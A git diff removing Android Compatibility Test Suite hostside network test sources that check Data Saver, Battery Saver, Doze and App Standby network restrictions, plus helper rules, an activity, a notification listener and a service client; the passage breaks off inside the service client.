-    @Test
-    public void testGetRestrictBackgroundStatus_requiredWhitelistedPackages() throws Exception {
-        final StringBuilder error = new StringBuilder();
-        for (String packageName : REQUIRED_WHITELISTED_PACKAGES) {
-            int uid = -1;
-            try {
-                uid = getUid(packageName);
-                assertRestrictBackgroundWhitelist(uid, true);
-            } catch (Throwable t) {
-                error.append("\nFailed for '").append(packageName).append("'");
-                if (uid > 0) {
-                    error.append(" (uid ").append(uid).append(")");
-                }
-                error.append(": ").append(t).append("\n");
-            }
-        }
-        if (error.length() > 0) {
-            fail(error.toString());
-        }
-    }
-
-    @RequiredProperties({NO_DATA_SAVER_MODE})
-    @CddTest(requirement="7.4.7/C-2-2")
-    @Test
-    public void testBroadcastNotSentOnUnsupportedDevices() throws Exception {
-        setRestrictBackground(true);
-        assertRestrictBackgroundChangedReceived(0);
-
-        setRestrictBackground(false);
-        assertRestrictBackgroundChangedReceived(0);
-
-        setRestrictBackground(true);
-        assertRestrictBackgroundChangedReceived(0);
-    }
-
-    private void assertDataSaverStatusOnBackground(int expectedStatus) throws Exception {
-        assertRestrictBackgroundStatus(expectedStatus);
-        assertBackgroundNetworkAccess(expectedStatus != RESTRICT_BACKGROUND_STATUS_ENABLED);
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
deleted file mode 100644
index 4306c99..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeMeteredTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.METERED_NETWORK;
-
-@RequiredProperties({METERED_NETWORK})
-public class DozeModeMeteredTest extends AbstractDozeModeTestCase {
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
deleted file mode 100644
index 1e89f15..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DozeModeNonMeteredTest.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
-
-@RequiredProperties({NON_METERED_NETWORK})
-public class DozeModeNonMeteredTest extends AbstractDozeModeTestCase {
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java
deleted file mode 100644
index 5ecb399..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DumpOnFailureRule.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
-import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TEST_APP2_PKG;
-import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TEST_PKG;
-
-import android.os.Environment;
-import android.os.FileUtils;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import com.android.compatibility.common.util.OnFailureRule;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-public class DumpOnFailureRule extends OnFailureRule {
-    private File mDumpDir = new File(Environment.getExternalStorageDirectory(),
-            "CtsHostsideNetworkTests");
-
-    @Override
-    public void onTestFailure(Statement base, Description description, Throwable throwable) {
-        final String testName = description.getClassName() + "_" + description.getMethodName();
-
-        if (throwable instanceof AssumptionViolatedException) {
-            Log.d(TAG, "Skipping test " + testName + ": " + throwable);
-            return;
-        }
-
-        prepareDumpRootDir();
-        final File dumpFile = new File(mDumpDir, "dump-" + testName);
-        Log.i(TAG, "Dumping debug info for " + description + ": " + dumpFile.getPath());
-        try (FileOutputStream out = new FileOutputStream(dumpFile)) {
-            for (String cmd : new String[] {
-                    "dumpsys netpolicy",
-                    "dumpsys network_management",
-                    "dumpsys usagestats " + TEST_PKG + " " + TEST_APP2_PKG,
-                    "dumpsys usagestats appstandby",
-            }) {
-                dumpCommandOutput(out, cmd);
-            }
-        } catch (FileNotFoundException e) {
-            Log.e(TAG, "Error opening file: " + dumpFile, e);
-        } catch (IOException e) {
-            Log.e(TAG, "Error closing file: " + dumpFile, e);
-        }
-    }
-
-    void dumpCommandOutput(FileOutputStream out, String cmd) {
-        final ParcelFileDescriptor pfd = InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation().executeShellCommand(cmd);
-        try (FileInputStream in = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
-            out.write(("Output of '" + cmd + "':\n").getBytes(StandardCharsets.UTF_8));
-            FileUtils.copy(in, out);
-            out.write("\n\n=================================================================\n\n"
-                    .getBytes(StandardCharsets.UTF_8));
-        } catch (IOException e) {
-            Log.e(TAG, "Error dumping '" + cmd + "'", e);
-        }
-    }
-
-    void prepareDumpRootDir() {
-        if (!mDumpDir.exists() && !mDumpDir.mkdir()) {
-            Log.e(TAG, "Error creating " + mDumpDir);
-        }
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java
deleted file mode 100644
index 8fadf9e..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MeterednessConfigurationRule.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.resetMeteredNetwork;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setupMeteredNetwork;
-import static com.android.cts.net.hostside.Property.METERED_NETWORK;
-import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
-
-import android.util.ArraySet;
-import android.util.Pair;
-
-import com.android.compatibility.common.util.BeforeAfterRule;
-
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-public class MeterednessConfigurationRule extends BeforeAfterRule {
-    private Pair<String, Boolean> mSsidAndInitialMeteredness;
-
-    @Override
-    public void onBefore(Statement base, Description description) throws Throwable {
-        final ArraySet<Property> requiredProperties
-                = RequiredPropertiesRule.getRequiredProperties();
-        if (requiredProperties.contains(METERED_NETWORK)) {
-            configureNetworkMeteredness(true);
-        } else if (requiredProperties.contains(NON_METERED_NETWORK)) {
-            configureNetworkMeteredness(false);
-        }
-    }
-
-    @Override
-    public void onAfter(Statement base, Description description) throws Throwable {
-        resetNetworkMeteredness();
-    }
-
-    public void configureNetworkMeteredness(boolean metered) throws Exception {
-        mSsidAndInitialMeteredness = setupMeteredNetwork(metered);
-    }
-
-    public void resetNetworkMeteredness() throws Exception {
-        if (mSsidAndInitialMeteredness != null) {
-            resetMeteredNetwork(mSsidAndInitialMeteredness.first,
-                    mSsidAndInitialMeteredness.second);
-        }
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
deleted file mode 100644
index c9edda6..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MixedModesTest.java
+++ /dev/null
@@ -1,370 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
-import static com.android.cts.net.hostside.Property.APP_STANDBY_MODE;
-import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
-import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
-import static com.android.cts.net.hostside.Property.DOZE_MODE;
-import static com.android.cts.net.hostside.Property.METERED_NETWORK;
-import static com.android.cts.net.hostside.Property.NON_METERED_NETWORK;
-
-import android.os.SystemClock;
-import android.util.Log;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Test cases for the more complex scenarios where multiple restrictions (like Battery Saver Mode
- * and Data Saver Mode) are applied simultaneously.
- * <p>
- * <strong>NOTE: </strong>it might sound like the test methods on this class are testing too much,
- * which would make it harder to diagnose individual failures, but the assumption is that such
- * failure most likely will happen when the restriction is tested individually as well.
- */
-public class MixedModesTest extends AbstractRestrictBackgroundNetworkTestCase {
-    private static final String TAG = "MixedModesTest";
-
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // Set initial state.
-        removeRestrictBackgroundWhitelist(mUid);
-        removeRestrictBackgroundBlacklist(mUid);
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-
-        registerBroadcastReceiver();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        super.tearDown();
-
-        try {
-            setRestrictBackground(false);
-        } finally {
-            setBatterySaverMode(false);
-        }
-    }
-
-    /**
-     * Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on metered networks.
-     */
-    @RequiredProperties({DATA_SAVER_MODE, BATTERY_SAVER_MODE, METERED_NETWORK})
-    @Test
-    public void testDataAndBatterySaverModes_meteredNetwork() throws Exception {
-        final MeterednessConfigurationRule meterednessConfiguration
-                = new MeterednessConfigurationRule();
-        meterednessConfiguration.configureNetworkMeteredness(true);
-        try {
-            setRestrictBackground(true);
-            setBatterySaverMode(true);
-
-            Log.v(TAG, "Not whitelisted for any.");
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-
-            Log.v(TAG, "Whitelisted for Data Saver but not for Battery Saver.");
-            addRestrictBackgroundWhitelist(mUid);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundWhitelist(mUid);
-
-            Log.v(TAG, "Whitelisted for Battery Saver but not for Data Saver.");
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            removeRestrictBackgroundWhitelist(mUid);
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-
-            Log.v(TAG, "Whitelisted for both.");
-            addRestrictBackgroundWhitelist(mUid);
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(true);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(true);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundWhitelist(mUid);
-
-            Log.v(TAG, "Blacklisted for Data Saver, not whitelisted for Battery Saver.");
-            addRestrictBackgroundBlacklist(mUid);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundBlacklist(mUid);
-
-            Log.v(TAG, "Blacklisted for Data Saver, whitelisted for Battery Saver.");
-            addRestrictBackgroundBlacklist(mUid);
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundBlacklist(mUid);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        } finally {
-            meterednessConfiguration.resetNetworkMeteredness();
-        }
-    }
-
-    /**
-     * Tests all DS ON and BS ON scenarios from network-policy-restrictions.md on non-metered
-     * networks.
-     */
-    @RequiredProperties({DATA_SAVER_MODE, BATTERY_SAVER_MODE, NON_METERED_NETWORK})
-    @Test
-    public void testDataAndBatterySaverModes_nonMeteredNetwork() throws Exception {
-        final MeterednessConfigurationRule meterednessConfiguration
-                = new MeterednessConfigurationRule();
-        meterednessConfiguration.configureNetworkMeteredness(false);
-        try {
-            setRestrictBackground(true);
-            setBatterySaverMode(true);
-
-            Log.v(TAG, "Not whitelisted for any.");
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-
-            Log.v(TAG, "Whitelisted for Data Saver but not for Battery Saver.");
-            addRestrictBackgroundWhitelist(mUid);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundWhitelist(mUid);
-
-            Log.v(TAG, "Whitelisted for Battery Saver but not for Data Saver.");
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            removeRestrictBackgroundWhitelist(mUid);
-            assertBackgroundNetworkAccess(true);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(true);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-
-            Log.v(TAG, "Whitelisted for both.");
-            addRestrictBackgroundWhitelist(mUid);
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(true);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(true);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundWhitelist(mUid);
-
-            Log.v(TAG, "Blacklisted for Data Saver, not whitelisted for Battery Saver.");
-            addRestrictBackgroundBlacklist(mUid);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(false);
-            removeRestrictBackgroundBlacklist(mUid);
-
-            Log.v(TAG, "Blacklisted for Data Saver, whitelisted for Battery Saver.");
-            addRestrictBackgroundBlacklist(mUid);
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(true);
-            assertsForegroundAlwaysHasNetworkAccess();
-            assertBackgroundNetworkAccess(true);
-            removeRestrictBackgroundBlacklist(mUid);
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        } finally {
-            meterednessConfiguration.resetNetworkMeteredness();
-        }
-    }
-
-    /**
-     * Tests that powersave whitelists works as expected when doze and battery saver modes
-     * are enabled.
-     */
-    @RequiredProperties({DOZE_MODE, BATTERY_SAVER_MODE})
-    @Test
-    public void testDozeAndBatterySaverMode_powerSaveWhitelists() throws Exception {
-        setBatterySaverMode(true);
-        setDozeMode(true);
-
-        try {
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(true);
-
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-
-            addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-
-            removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setBatterySaverMode(false);
-            setDozeMode(false);
-        }
-    }
-
-    /**
-     * Tests that powersave whitelists works as expected when doze and appIdle modes
-     * are enabled.
-     */
-    @RequiredProperties({DOZE_MODE, APP_STANDBY_MODE})
-    @Test
-    public void testDozeAndAppIdle_powerSaveWhitelists() throws Exception {
-        setDozeMode(true);
-        setAppIdle(true);
-
-        try {
-            addPowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(true);
-
-            removePowerSaveModeWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-
-            addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-
-            removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setAppIdle(false);
-            setDozeMode(false);
-        }
-    }
-
-    @RequiredProperties({APP_STANDBY_MODE, DOZE_MODE})
-    @Test
-    public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
-        setDozeMode(true);
-        setAppIdle(true);
-
-        try {
-            assertBackgroundNetworkAccess(false);
-
-            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(true);
-
-            // Wait until the whitelist duration is expired.
-            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setAppIdle(false);
-            setDozeMode(false);
-        }
-    }
-
-    @RequiredProperties({APP_STANDBY_MODE, BATTERY_SAVER_MODE})
-    @Test
-    public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
-        setBatterySaverMode(true);
-        setAppIdle(true);
-
-        try {
-            assertBackgroundNetworkAccess(false);
-
-            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(true);
-
-            // Wait until the whitelist duration is expired.
-            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setAppIdle(false);
-            setBatterySaverMode(false);
-        }
-    }
-
-    /**
-     * Tests that the app idle whitelist works as expected when doze and appIdle mode are enabled.
-     */
-    @RequiredProperties({DOZE_MODE, APP_STANDBY_MODE})
-    @Test
-    public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
-        setDozeMode(true);
-        setAppIdle(true);
-
-        try {
-            assertBackgroundNetworkAccess(false);
-
-            // UID still shouldn't have access because of Doze.
-            addAppIdleWhitelist(mUid);
-            assertBackgroundNetworkAccess(false);
-
-            removeAppIdleWhitelist(mUid);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setAppIdle(false);
-            setDozeMode(false);
-        }
-    }
-
-    @RequiredProperties({APP_STANDBY_MODE, DOZE_MODE})
-    @Test
-    public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
-        setDozeMode(true);
-        setAppIdle(true);
-
-        try {
-            assertBackgroundNetworkAccess(false);
-
-            addAppIdleWhitelist(mUid);
-            assertBackgroundNetworkAccess(false);
-
-            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(true);
-
-            // Wait until the whitelist duration is expired.
-            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setAppIdle(false);
-            setDozeMode(false);
-            removeAppIdleWhitelist(mUid);
-        }
-    }
-
-    @RequiredProperties({APP_STANDBY_MODE, BATTERY_SAVER_MODE})
-    @Test
-    public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
-        setBatterySaverMode(true);
-        setAppIdle(true);
-
-        try {
-            assertBackgroundNetworkAccess(false);
-
-            addAppIdleWhitelist(mUid);
-            assertBackgroundNetworkAccess(false);
-
-            addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(true);
-
-            // Wait until the whitelist duration is expired.
-            SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-            assertBackgroundNetworkAccess(false);
-        } finally {
-            setAppIdle(false);
-            setBatterySaverMode(false);
-            removeAppIdleWhitelist(mUid);
-        }
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyActivity.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyActivity.java
deleted file mode 100644
index 0d0bc58..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyActivity.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class MyActivity extends Activity {
-    private final LinkedBlockingQueue<Integer> mResult = new LinkedBlockingQueue<>(1);
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        if (mResult.offer(resultCode) == false) {
-            throw new RuntimeException("Queue is full! This should never happen");
-        }
-    }
-
-    public Integer getResult(int timeoutMs) throws InterruptedException {
-        return mResult.poll(timeoutMs, TimeUnit.MILLISECONDS);
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
deleted file mode 100644
index 0132536..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import android.app.Notification;
-import android.app.PendingIntent;
-import android.app.PendingIntent.CanceledException;
-import android.app.RemoteInput;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.service.notification.NotificationListenerService;
-import android.service.notification.StatusBarNotification;
-import android.util.Log;
-
-/**
- * NotificationListenerService implementation that executes the notification actions once they're
- * created.
- */
-public class MyNotificationListenerService extends NotificationListenerService {
-    private static final String TAG = "MyNotificationListenerService";
-
-    @Override
-    public void onListenerConnected() {
-        Log.d(TAG, "onListenerConnected()");
-    }
-
-    @Override
-    public void onNotificationPosted(StatusBarNotification sbn) {
-        Log.d(TAG, "onNotificationPosted(): "  + sbn);
-        if (!sbn.getPackageName().startsWith(getPackageName())) {
-            Log.v(TAG, "ignoring notification from a different package");
-            return;
-        }
-        final PendingIntentSender sender = new PendingIntentSender();
-        final Notification notification = sbn.getNotification();
-        if (notification.contentIntent != null) {
-            sender.send("content", notification.contentIntent);
-        }
-        if (notification.deleteIntent != null) {
-            sender.send("delete", notification.deleteIntent);
-        }
-        if (notification.fullScreenIntent != null) {
-            sender.send("full screen", notification.fullScreenIntent);
-        }
-        if (notification.actions != null) {
-            for (Notification.Action action : notification.actions) {
-                sender.send("action", action.actionIntent);
-                sender.send("action extras", action.getExtras());
-                final RemoteInput[] remoteInputs = action.getRemoteInputs();
-                if (remoteInputs != null && remoteInputs.length > 0) {
-                    for (RemoteInput remoteInput : remoteInputs) {
-                        sender.send("remote input extras", remoteInput.getExtras());
-                    }
-                }
-            }
-        }
-        sender.send("notification extras", notification.extras);
-    }
-
-    static String getId() {
-        return String.format("%s/%s", MyNotificationListenerService.class.getPackage().getName(),
-                MyNotificationListenerService.class.getName());
-    }
-
-    static ComponentName getComponentName() {
-        return new ComponentName(MyNotificationListenerService.class.getPackage().getName(),
-                MyNotificationListenerService.class.getName());
-    }
-
-    private static final class PendingIntentSender {
-        private PendingIntent mSentIntent = null;
-        private String mReason = null;
-
-        private void send(String reason, PendingIntent pendingIntent) {
-            if (pendingIntent == null) {
-                // Could happen on action that only has extras
-                Log.v(TAG, "Not sending null pending intent for " + reason);
-                return;
-            }
-            if (mSentIntent != null || mReason != null) {
-                // Sanity check: make sure test case set up just one pending intent in the
-                // notification, otherwise it could pass because another pending intent caused the
-                // whitelisting.
-                throw new IllegalStateException("Already sent a PendingIntent (" + mSentIntent
-                        + ") for reason '" + mReason + "' when requested another for '" + reason
-                        + "' (" + pendingIntent + ")");
-            }
-            Log.i(TAG, "Sending pending intent for " + reason + ":" + pendingIntent);
-            try {
-                pendingIntent.send();
-                mSentIntent = pendingIntent;
-                mReason = reason;
-            } catch (CanceledException e) {
-                Log.w(TAG, "Pending intent " + pendingIntent + " canceled");
-            }
-        }
-
-        private void send(String reason, Bundle extras) {
-            if (extras != null) {
-                for (String key : extras.keySet()) {
-                    Object value = extras.get(key);
-                    if (value instanceof PendingIntent) {
-                        send(reason + " with key '" + key + "'", (PendingIntent) value);
-                    }
-                }
-            }
-        }
-
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
deleted file mode 100644
index 6546e26..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.os.ConditionVariable;
-import android.os.IBinder;
-import android.os.RemoteException;
-
-import com.android.cts.net.hostside.IMyService;
-
-public class MyServiceClient {
-    private static final int TIMEOUT_MS = 5000;
-    private static final String PACKAGE = MyServiceClient.class.getPackage().getName();
-    private static final String APP2_PACKAGE = PACKAGE + ".app2";
-    private static final String SERVICE_NAME = APP2_PACKAGE + ".MyService";
-
-    private Context mContext;
-    private ServiceConnection mServiceConnection;
-    private IMyService mService;
-
-    public MyServiceClient(Context context) {
-        mContext = context;
-    }
-
-    public void bind() {
-        if (mService != null) {
-            throw new IllegalStateException("Already bound");
-        }
-
-        final ConditionVariable cv = new ConditionVariable();
-        mServiceConnection = new ServiceConnection() {
-            @Override
-            public void onServiceConnected(ComponentName name, IBinder service) {
-                mService = IMyService.Stub.asInterface(service);
-                cv.open();
-            }
-            @Override
-            public void onServiceDisconnected(ComponentName name) {
-                mService = null;
-            }
-        };
-
-        final Intent intent = new Intent();
-        intent.setComponent(new ComponentName(APP2_PACKAGE, SERVICE_NAME));
